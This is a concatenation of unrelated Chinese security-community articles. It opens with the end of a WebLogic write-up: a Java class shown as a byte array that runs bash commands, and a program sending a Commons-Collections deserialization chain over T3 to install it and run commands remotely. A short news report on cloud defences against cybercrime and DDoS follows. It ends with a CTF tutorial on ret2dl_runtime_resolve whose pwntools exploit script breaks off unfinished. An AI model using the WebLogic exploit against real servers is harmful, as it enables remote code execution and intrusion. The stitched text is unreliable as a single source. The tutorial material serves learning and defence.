101, 114, 118, 101, 114, 76, 111, 99, 97, 116, 105, 111, 110, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 115, 1, 0, 17, 103, 101, 116, 83, 101, 114, 118, 101, 114, 76, 111, 99, 97, 116, 105, 111, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 16, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 1, 0, 14, 112, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 26, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 4, 112, 114, 111, 99, 1, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 2, 98, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 2, 115, 98, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 22, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 121, 112, 101, 84, 97, 98, 108, 101, 1, 0, 36, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 7, 0, 116, 7, 0, 117, 7, 0, 97, 7, 0, 118, 7, 0, 101, 7, 0, 107, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 36, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 46, 106, 97, 118, 97, 32, 102, 114, 111, 109, 32, 73, 110, 112, 117, 116, 70, 105, 108, 101, 79, 98, 106, 101, 99, 116, 12, 0, 34, 0, 35, 1, 0, 27, 99, 111, 109, 47, 116, 101, 115, 116, 47, 112, 97, 121, 108, 111, 97, 100, 47, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 1, 0, 27, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 73, 110, 105, 116, 105, 97, 108, 67, 111, 110, 116, 101, 120, 116, 1, 0, 4, 89, 52, 101, 114, 7, 0, 119, 12, 0, 120, 0, 121, 12, 0, 60, 0, 61, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 122, 0, 35, 1, 0, 19, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 65, 114, 114, 97, 121, 76, 105, 115, 116, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 7, 0, 117, 12, 0, 123, 0, 124, 1, 0, 2, 45, 99, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 12, 0, 34, 0, 125, 12, 0, 126, 0, 127, 12, 0, -128, 0, -127, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 7, 0, 118, 12, 0, -126, 0, -125, 12, 0, 34, 0, -124, 12, 0, 34, 0, -123, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, -122, 0, -121, 12, 0, -120, 0, -119, 1, 0, 1, 10, 12, 0, -118, 0, -121, 12, 0, -117, 0, -121, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 46, 119, 101, 98, 108, 111, 103, 105, 99, 47, 99, 108, 117, 115, 116, 101, 114, 47, 115, 105, 110, 103, 108, 101, 116, 111, 110, 47, 67, 108, 117, 115, 116, 101, 114, 77, 97, 115, 116, 101, 114, 82, 101, 109, 111, 116, 101, 1, 0, 24, 106, 97, 118, 97, 47, 114, 109, 105, 47, 82, 101, 109, 111, 116, 101, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 14, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 20, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 67, 111, 110, 116, 101, 120, 116, 1, 0, 6, 114, 101, 98, 105, 110, 100, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 3, 97, 100, 100, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 90, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 41, 86, 1, 0, 19, 114, 101, 100, 105, 114, 101, 99, 116, 69, 114, 114, 111, 114, 83, 116, 114, 101, 97, 109, 1, 0, 29, 40, 90, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 1, 0, 10, 103, 101, 116, 77, 101, 115, 115, 97, 103, 101, 0, 33, 0, 2, 0, 32, 0, 1, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 14, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 39, 0, 40, 0, 0, 0, 9, 0, 41, 0, 42, 0, 1, 0, 36, 0, 0, 0, -81, 0, 3, 0, 3, 0, 0, 0, 42, -69, 0, 2, 89, -73, 0, 3, 76, -69, 0, 4, 89, -73, 0, 5, 77, 44, 18, 6, 43, -71, 0, 7, 3, 0, 43, 42, 3, 50, -74, 0, 8, 87, -89, 0, 8, 77, 44, -74, 0, 10, -79, 0, 1, 0, 8, 0, 33, 0, 36, 0, 9, 0, 3, 0, 37, 0, 0, 0, 34, 0, 8, 0, 0, 0, 17, 0, 8, 0, 19, 0, 16, 0, 20, 0, 25, 0, 21, 0, 33, 0, 24, 0, 36, 0, 22, 0, 37, 0, 23, 0, 41, 0, 25, 0, 38, 0, 0, 0, 42, 0, 4, 0, 16, 0, 17, 0, 43, 0, 44, 0, 2, 0, 37, 0, 4, 0, 45, 0, 46, 0, 2, 0, 0, 0, 42, 0, 47, 0, 48, 0, 0, 0, 8, 0, 34, 0, 49, 0, 40, 0, 1, 0, 50, 0, 0, 0, 19, 0, 2, -1, 0, 36, 0, 2, 7, 0, 51, 7, 0, 52, 0, 1, 7, 0, 53, 4, 0, 1, 0, 54, 0, 55, 0, 2, 0, 36, 0, 0, 0, 63, 0, 0, 0, 3, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 31, 0, 38, 0, 0, 0, 32, 0, 3, 0, 0, 0, 1, 0, 39, 0, 40, 0, 0, 0, 0, 0, 1, 0, 56, 0, 57, 0, 1, 0, 0, 0, 1, 0, 47, 0, 57, 0, 2, 0, 58, 0, 0, 0, 4, 0, 1, 0, 59, 0, 1, 0, 60, 0, 61, 0, 2, 0, 36, 0, 0, 1, 126, 0, 5, 0, 8, 0, 0, 0, 124, -69, 0, 11, 89, -73, 0, 12, 77, 44, 18, 13, -71, 0, 14, 2, 0, 87, 44, 18, 15, -71, 0, 14, 2, 0, 87, 44, 43, -71, 0, 14, 2, 0, 87, -69, 0, 16, 89, 44, -73, 0, 17, 78, 45, 4, -74, 0, 18, 87, 45, -74, 0, 19, 58, 4, -69, 0, 20, 89, -69, 0, 21, 89, 25, 4, -74, 0, 22, -73, 0, 23, -73, 0, 24, 58, 5, -69, 0, 25, 89, -73, 0, 26, 58, 6, 25, 5, -74, 0, 27, 89, 58, 7, -58, 0, 19, 25, 6, 25, 7, -74, 0, 28, 18, 29, -74, 0, 28, 87, -89, -1, -24, 25, 6, -74, 0, 30, -80, 77, 44, -74, 0, 31, -80, 0, 1, 0, 0, 0, 117, 0, 118, 0, 9, 0, 4, 0, 37, 0, 0, 0, 58, 0, 14, 0, 0, 0, 38, 0, 8, 0, 40, 0, 17, 0, 41, 0, 26, 0, 42, 0, 34, 0, 44, 0, 43, 0, 45, 0, 49, 0, 46, 0, 55, 0, 48, 0, 76, 0, 49, 0, 85, 0, 52, 0, 96, 0, 53, 0, 112, 0, 56, 0, 118, 0, 57, 0, 119, 0, 58, 0, 38, 0, 0, 0, 92, 0, 9, 0, 8, 0, 110, 0, 62, 0, 63, 0, 2, 0, 43, 0, 75, 0, 64, 0, 65, 0, 3, 0, 55, 0, 63, 0, 66, 0, 67, 0, 4, 0, 76, 0, 42, 0, 68, 0, 69, 0, 5, 0, 85, 0, 33, 0, 70, 0, 71, 0, 6, 0, 93, 0, 25, 0, 72, 0, 57, 0, 7, 0, 119, 0, 5, 0, 45, 0, 46, 0, 2, 0, 0, 0, 124, 0, 39, 0, 40, 0, 0, 0, 0, 0, 124, 0, 56, 0, 57, 0, 1, 0, 73, 0, 0, 0, 12, 0, 1, 0, 8, 0, 110, 0, 62, 0, 74, 0, 2, 0, 50, 0, 0, 0, 52, 0, 3, -1, 0, 85, 0, 7, 7, 0, 52, 7, 0, 75, 7, 0, 76, 7, 0, 77, 7, 0, 78, 7, 0, 79, 7, 0, 80, 0, 0, -4, 0, 26, 7, 0, 75, -1, 0, 5, 0, 2, 7, 0, 52, 7, 0, 75, 0, 1, 7, 0, 53, 0, 58, 0, 0, 0, 4, 0, 1, 0, 59, 0, 1, 0, 81, 0, 0, 0, 2, 0, 82,
};
public static void main(String[] args) {
try {
String url = "t3://" + host + ":" + port;
// 安装RMI实例
invokeRMI(classname, bs);
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Y4er");
// 调用RMI实例执行命令
String res = remote.getServerLocation("ifconfig");
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}
}
private static void invokeRMI(String className, byte[] clsData) throws Exception {
// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(new HashSet())};
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
InvocationHandler handler = (InvocationHandler) Reflections
.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, lazyMap);
final Map mapProxy = Map.class
.cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
new Class[]{Map.class}, handler));
handler = (InvocationHandler) Reflections.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);
// 序列化数据 MarshalledObject绕过
Object obj = new MarshalledObject(handler);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
// t3发送
T3ProtocolOperation.send(host, port, payload);
}
}
根据weblogic_cmd的代码整理为一个文件，其中T3部分仍使用weblogic_cmd的代码，效果如下：
## 总结
weblogic是一个体型庞大的中间件，而common-collection反序列化能做的东西太多了，灵活运用反射来调用weblogic的各种内置类，可以达到你想要的任何目的。在写这篇文章的时候，很多东西都是我之前没有接触过的，理解起来很难，一点一点的学习、吃透这个东西，还是很有成就感的。学习是一个很愉快的过程，但进步不是，共勉吧。
## 参考链接
<https://www.cnblogs.com/javalouvre/p/3726256.html>
<http://jxzhuge12.me/2016/04/11/Java-rmi-case/>
<https://javasec.org/javase/ClassLoader/>
<https://javasec.org/javase/RMI/>
<https://github.com/5up3rc/weblogic_cmd>
<https://gist.github.com/jjf012/8736ffd658298c769317643643fc3750>
<https://www.cnblogs.com/afanti/>
Java安全漫谈(RMI系列).pdf | 社区文章 |
# 网络黑产已达千亿级别如何对抗攻击?
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
__金山云安珀实验室负责人李泷发表“云时代的网络黑产对抗”主题演讲
浩瀚无垠的太空中，璀璨的星河带给了人们无穷的想象空间，经推论，肉眼所能观察到的物质仅为4%，占比超过96%的暗物质和暗能量从来未曾出现在我们的视野；巧合的是，在包罗万象的网络世界，我们所能浏览的所有表层网络如新闻网站、论坛等内容也仅占全部互联网的4%左右，96%的内容隐藏在“暗网”深处，成为迷一样的存在。那里，也是网络黑产发起攻击的源头。
近年来，随着云计算、物联网等的技术快速发展，资源的获取更加便捷简单，也让网络黑产的攻击门槛愈发降低，据测算，网络黑产从业人员已超过150万，市场规模达到千亿级别，如何有效应对愈演愈烈的黑产攻击，成为各大企业必须应对的共同难题。在6月28日举办的全球云计算和域名大会上，金山云安珀实验室负责人李泷从实践出发，讲述了金山云在云时代与网络黑产的对抗攻防，并分享了通过溯源追踪成功破获一起控制75万台“肉鸡”的黑产团伙的案例。
## 全方位对抗网络黑产
黑客渗透、DDoS攻击、刷流量、薅羊毛这些近年来的热门关键词，都指向一个共同的对象——网络黑产。当一台主机或一个应用暴露在外网后，会遭受数不清的攻击尝试，稍有不慎，即可能成为黑产控制的肉鸡。金山云基于对SSH爆破攻击的监控数据显示，在短短24小时之内，总共有高达243万次攻击尝试，黑产攻击之猖獗，可见一斑。
“云计算时代的黑产对抗与传统模式是完全不同的，对此，金山云从漏洞对抗、业务安全对抗、虚拟化安全对抗和DDoS对抗四个维度来进行布局，提供了完善的产品和解决方案，来帮助用户快速建立自己的安全体系，提升自身安全水平，”李泷讲到。
### 漏洞对抗
金山云通过第一时间提供系统补丁、更新yum源等服务，并通过帮助用户建立自定义安全组拒绝非信任来源的访问请求，提醒用户主动开启安全扫描监测自身业务漏洞等手段，有效杜绝因为系统漏洞带来的黑产入侵。
### 业务安全对抗
主要包括恶意刷单对抗和帐号安全防护。恶意刷单也就是俗称的薅羊毛，企业用来回馈用户的奖品、优惠券、奖金等，一旦被黑产盯上，将造成巨大损失，金山云通过帮助用户接入API并及时进行防御策略，提供包括威胁情报预警、手机黑卡识别等服务，来进行防御。帐号安全防护上，通过提供IAM、异地登陆提醒、多因素认证等，并结合后台的风控API进行实时的识别和拦截，保证帐号不被劫持。
### 虚拟化安全对抗
金山云通过主机层隔离、租户内网络隔离、租户间网络隔、主机监控和网络监控等方式，来有效应对虚拟化安全问题。以网络监控为例，通过智能化监控系统，可以实时查看网络占用情况，帮助用户判断机器是否存在异常，比如被入侵后植入木马，可能造成主机或网络的异常，从而及时应对。
## 两种手段抵御1.2Tbps DDoS攻击
近年来，DDoS攻击势头愈演愈烈，除了攻击类型更加多样化，攻击流量更是成指数型增长，不同于过往几个G或者几十G的常规攻击规模，最新的数据显示，DDoS攻击最高已经达到T级别，在与黑产对抗过程中，金山云高防节点曾遭遇最高1.2Tbps的超大规模流量攻击。面向日益严重的DDoS攻击，金山云通过被动防御和主动防御两种手段，帮助用户化解因为DDoS攻击给业务带来的不良影响。
### 被动防御方面
通过流量清洗和高防IP来进行应对。流量清洗主要通过防御算法将识别为攻击流量的请求过滤掉，将过滤后的流量转发给后端服务器；高防IP则是利用高防节点足够大的带宽，保证入口不被占满，同时借助流量清洗，将真实流量回源。
### 主动防御方面
金山云通过主动出击，综合运用溯源追踪、DDoS预警等手段，来提前作出应对策略。金山云安珀实验室数月前破获一起利用大规模僵尸网络进行大流量DDoS攻击的有组织活动，该组织掌握的肉鸡最多高达75万台,通过综合运用多种技术手段，成功发现了黑客使用的控制服务器，及时进行了追踪防护，有效避免了损失的发生。
此外，金山云也在积极进行新型DDoS防御的探索实践。利用多种渠道取得大量的僵尸网络木马样本，然后对样本进行逆向分析，通过培养伪木马的方式加入僵尸网络中，当C&C控制端下发控制指令时，伪木马端可以实时报警。同样，也可以在报警时联动其他被动防御系统，进行相应的清洗或拦截等操作。“目前我们已掌握了十个左右流行的僵尸网络家族，并建立起了攻击预警体系，希望可以为打击黑色产业做一些有意义的探索和实践，”李泷讲到。
审核人：yiwang 编辑：边边 | 社区文章 |
# PWN入门进阶篇（五）高级ROP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x PWN入门系列文章列表
[Mac 环境下 PWN入门系列（一）](https://www.anquanke.com/post/id/187922)
[Mac 环境下 PWN入门系列（二）](https://www.anquanke.com/post/id/189960)
[Mac 环境下 PWN入门系列（三）](https://www.anquanke.com/post/id/193115)
[Mac 环境下 PWN入门系列（四）](https://www.anquanke.com/post/id/196095)
## 0x1 前言
关于高级ROP,自己在学习过程中，感觉有种知识的脱节的感觉,不过也感觉思路开拓了很多，下面我将以一个萌新的视角来展开学习高级ROP的过程,本文主要针对32位,因为64位的话高级ROP感觉没必要,可以用其他方法代替。
## 0x2 高级ROP的概念
这个概念主要是从ctf wiki上面知道的
高级ROP其实和一般的ROP基本一样，其主要的区别在于它利用了一些更加底层的原理。
经典的高级ROP就是: ret2_dl_runtime_resolve
更多内容参考:
[高级ROP](https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/#ret2vdso)
## 0x3 适用情况
利用ROP技巧,可以绕过NX和ASLR保护,比较适用于一些比较简单的栈溢出情况,但是同时难以泄漏获取更多信息的情况(比如没办法获取到libc版本)
## 0x4 了解ELF的关键段
这里我们主要了解下段的组成,特别是结构体数组
分析ELF常用的命令(备忘录记一波):
$readelf 命令
-h –file-header Display the ELF file header
-s –syms Display the symbol table
–symbols An alias for –syms
-S –section-headers Display the sections’ header
-r –relocs Display the relocations (if present)
-l –program-headers Display the program headers
–segments An alias for –program-headers
$objdump
-s, –full-contents Display the full contents of all sections requested
-d, –disassemble Display assembler contents of executable sections
-h, –[section-]headers Display the contents of the section headers
**dynstr**
一个字符串表,索引[0]永远为0,获取的时候是取相对[0]处的地址作为偏移来取字符串的。
[ 6] .dynstr STRTAB 0804827c 00027c 00006c 00 A 0 0 1
学过编译原理可能就能更好理解他为什么这么做了, 符号解析(翻译)->xx->机器代码
**dynsym**
符号表(结构体数组)
[ 5] .dynsym DYNSYM 080481dc 0001dc 0000a0 10 A 6 1 4
表项很明显就是ELF32_Sym的结构
glibc-2.0.1/elf/elf.h 254行有定义
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* No defined meaning, 0 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
这里说明一下每一个表项对应一个结构体(一个符号),里面的成员就是符号的属性。
对于导入函数的符号而言,符号名st_name是相对.dynstr索引[0]的相对偏移
st_info 类型固定是0x12其他属性都为0
**rel.plt**
重定位表,也是结构体数组(存放结构体对象),每个表项(结构体对象)对应一个导入函数。 结构体定义如下
[10] .rel.plt REL 0804833c 00033c 000020 08 AI 5 24 4
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel
其中r_offset是指向GOT表的指针,r_info是导入符号信息,他的值组成有点意思
JMPREL代表就是导入函数,这里举read 其r_offser=0x804A00CH,r_info=107h
07代表的是它是个导入函数符号,而1代表的是他在.dynsym也就是符号表的偏移。
## 0x5 一张图让你明白高级ROP原理
ROP,首先我们必须理解延迟绑定的流程,上一篇文章我也有涉及了这方面的内容。
延迟绑定通俗来讲就是:
程序一开始并没有直接链接到外部函数的地址,而是丢了个外部函数对应plt表项的地址,plt表项地址的内容是一小段代码,第一次执行这个外部函数的时候plt指向got表并不是真实地址,而是他的下一条指令地址,然后一直执行到dlruntime_resolve,然后直接跳转到真实地址去执行,如果是第二次执行的话,PLT表项地址就是指向got表的指针,此时got表的指向的就是真实函数的地址了。
那么_dl_runtime_resolve这个函数到底做了什么事情呢?
这张图我是基于参考某个文章师傅解释的来画的。
dlruntime_resolve 工作原理
1. 用link_map访问.dynamic，取出.dynstr, .dynsym, .rel.plt的指针
2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针，记作rel
3. rel->r_info >> 8作为.dynsym的下标，求出当前函数的符号表项Elf32_Sym的指针，记作sym
4. .dynstr + sym->st_name得出符号名字符串指针
5. 在动态链接库查找这个函数的地址，并且把地址赋值给*rel->r_offset，即GOT表
6. 调用这个函数
dlruntime_resolve 动态解析器函数原理剖析图
### 0x5.1 高级ROP的攻击原理
通俗地来说非常简单就是：
高级ROP攻击的对象就是_dl_runtime_resolve这个函数,
通过伪造内容(参数或指针)来攻击他,让他错误解析函数地址,比如将read@plt解析成system函数的地址。
这里介绍两种攻击思路:
(1) 修改.dynamic 内容
条件: NO RELRO (.dynamic可写)
我们知道程序第一步是去.dynamic取.dynstr的指针是吧,然后在经过2,3,4步获得偏移,我们想想如果我们如果可以改写.dynamic的.dynstr指针为一个我们可以控制的地址的时候,然后我们手工分析2.3.4取得偏移值,我们就在我们控制的地址+偏移,然后填入system那么程序第五步的时候就跑去找system的真实地址了。
(2) 控制第二个参数,让其指向我们构造的Elf32_Rel结构
条件:
_dl_runtime_resolve没有检查.rel.plt + 第二个参数后是否造成越界访问
_dl_runtime_resolve函数最后的解析根本上依赖于所给定的字符串(ps.上面流程图很清楚)
我们控制程序去执行_dl_runtime_resolve这个函数,然后我们控制第二个参数的值也就是offset为一个很大的值
.rel.plt+offset就会指向我们可以控制的内存空间,比如说可读写的.bss段
就是说.bss其实就是一个*sym指针指向的地址(参考上面图片第二步)
那么我们接下来就要伪造第三、第四步让程序跑起来。
目的就是:伪造一个指向system的Elf32_Rel的结构
1.写入一个r_info字段,格式是0xXXXXXX07,其中xxxxx是相对.dynsym的下标,比如上面那个read是0x107h,这里很关键,这个xxx的值是
偏移值/sizeof(Elf32_Sym),32位是0x10,怎么得来很简单ida直接0x3c-0x2c=0x10,这里我们同样可以控制为一个很大的偏移值.dybsym+offset然后来到我们的bss段可控内容处,这个时候我们就是控制了*sym指针指向了我们可以控制的bss段。
2.接着我们伪造第4步,.dynstr+*sym->stname为system符号,然后程序取完符号指向第五步。
,.dynstr+*sym->stname为system符号这一步怎么完成的?
道理还不是类似的？
*sym->stname这个值是我们可以控制的,类似上面的那些offser,我们同样控制为一个很大的值指向bss段不就ok了？
### 0x5.2 高级ROP的攻击难点:
很多人认为高级ROP比较复杂,其实非也。
其实原理顺着步骤去调试还是很好理解的,比较复杂的是构造过程，通过实操一次构造过程，不但能加深我们对高级ROP的理解，而且能让我们对ROP的威力有更深的了解。当然，最后我们还是得实现复杂流程自动化简单化，将高级ROP变得不那么高级。
## 0x6 例题实操
国赛题目,也就是大佬分析的题目,这里小弟再次献丑调试一波。
程序源码可以加入我的萌新pwn交流群,或者网上搜索下,19年华中赛区国赛babypwn
这个题目主要是利用上面的攻击方式第二种伪造Elf32_Rel结构。
这里我介绍两种方法。
### 0x6.1 手工构造exp
我们先伪造Elf_REL结构对象rel
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# pwntool 真是个好方便的工具
# 这里我们确定bss段+0x800作为我们的可控开始地址 也就是虚假的dynsym表的地址
stack_size = 0x800
control_base = bss_buf + stack_size
#伪造一个虚假的dynsym表项的地址
alarm_got = elf.got['alarm']
fake_dynsym_addr = control_base + 0x24
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_dynsym_addr += align
# 这里要对齐16字节,要不然函数解析的时候会出错,
index_sym = (fake_dynsym_addr - dynsym) / 0x10
rel_r_info = index_sym << 8 | 7
fake_rel = p32(alarm_got)+p32(r_info) # 伪造的rel结构
st_name=fake_dynsym_addr+0x10-dynstr
# 取fake_dynsym_addr+0x10 作为'system\x00'的地址,求出偏移付给st_name
# 伪造.syndym表的表项
fake_elf32_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
rep_plt_offset = control_base + 24 - rel_plt
# 这里就是我们构造一个很大offset然后让他指向我们的bss段
接着我们开始构造rop
#!/use/bin/python
# -*- coding:utf-8 -*-
import sys
import roputils
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
elf = ELF('./pwn')
io = process('./pwn')
rop = ROP('./pwn')
gdb.attach(io)
pause()
addr_bss = elf.bss()
# 这里我们确定bss段+0x800作为我们的可控开始地址 也就是虚假的dynsym表的地址
stack_size = 0x800
control_base = addr_bss + stack_size
# 溢出
rop.raw('A'*0x2c)
# call read(0, control_base, 100)
rop.read(0, control_base, 100)
rop.migrate(control_base)
# 将栈迁移到bss段
io.sendline(rop.chain())
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
rop2 = ROP('./pwn')
#伪造一个虚假的dynsym表项的地址
alarm_got = elf.got['alarm']
fake_dynsym_addr = control_base + 36
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
fake_dynsym_addr += align
# 这里要对齐16字节,要不然函数解析的时候会出错,
index_sym = (fake_dynsym_addr - dynsym) / 0x10
rel_r_info = index_sym << 8 | 0x7
fake_rel = p32(alarm_got)+p32(rel_r_info) # 伪造的rel结构
st_name= fake_dynsym_addr+0x10-dynstr
# 取fake_dynsym_addr+0x10 作为'system\x00'的地址,求出偏移付给st_name
# 伪造.syndym表的表项
fake_elf32_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
rel_plt_offset = control_base + 24 - rel_plt
# 这里就是我们构造一个很大offset然后让他指向我们的bss段
binsh = '/bin/sh'
# 填充结构
padd = 'B'*4
# 下面就是往control_base(bss+0x800)写入fake_dynsym表
# linkmap
rop2.raw(plt0) # 0
# offset
rop2.raw(rel_plt_offset) # 4
# ret
rop2.raw(padd) #8
# binsh位置
rop2.raw(control_base+90) #12
